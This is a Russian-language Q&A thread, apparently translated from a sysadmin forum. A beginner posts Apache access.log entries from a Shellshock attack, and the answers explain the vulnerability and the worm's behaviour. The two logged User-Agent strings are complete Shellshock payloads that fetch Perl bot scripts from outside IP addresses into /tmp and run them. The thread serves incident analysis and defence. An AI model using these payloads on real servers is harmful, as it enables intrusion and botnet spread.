Я новичок в веб-программировании, поэтому установил для своей практики сервер apache2.
Похоже, кому-то удалось взломать мой сервер apache. В моем журнале access.log есть следующая строка:
81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/ bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"
а также этот:
80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
Похоже, что взломать уже удалось, по HTTP-200, значит запрос выполнен.
Когда я пытаюсь «отследить» команду в запросе (выполняя каждую команду вручную):
system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
Я вижу, что мне удалось загрузить файл bot.txt. когда я открываю файл bot.txt и вижу его скрипт на Perl. Я не монах Perl, но я вижу, что он «разветвляет» другой процесс, каждый из которых пытается открыть порты для других серверов. также видел функцию внутри кода, которая пытается искать открытые порты на моей станции.
Мои вопросы:
Спасибо
Злоумышленник пытается использовать Баш Shellshock уязвимость. Вы можете проверить, уязвимы ли вы, с помощью пары простых тестов командной строки (которые сами по себе не опасны), уже описанных в другом сообщении SF:
Ваши журналы показывают, что они вернули 200 кодов состояния HTTP, что указывает на то, что Apache обслужил оба запроса без ошибок. Если бы либо contact.cgi
или cgi_wrapper
не удалось, я ожидал, что вместо этого Apache вернет код состояния 500 (внутренняя ошибка сервера). Это говорит о том, что оба сценария хотя бы пытались использовать эксплойт Shellshock.
Если вы можете определить, что у вас есть уязвимая версия Bash в вашей системе, то я думаю, что вероятно, что ou.pl
и bot.pl
сценарии действительно были загружены и выполнены в вашей системе. Учитывая это, вам не следует делать никаких предположений о целостности системы, потому что на самом деле нет способа узнать, что могло быть сделано после первоначального взлома. Как вы справитесь с этим, вам придется определить самостоятельно, но в этом вопросе SF есть несколько хороших предложений:
Классический червь-распространитель Shellshock.
Если он уязвим, он загружает файл .txt (который является загрузчиком), запускает его, загружает файл .tar, извлекает его, запускает внутренний двоичный файл, который является руткитом и сканером.
Вот краткое изучение этого поведения: как выглядит настоящая атака снарядом
Майк.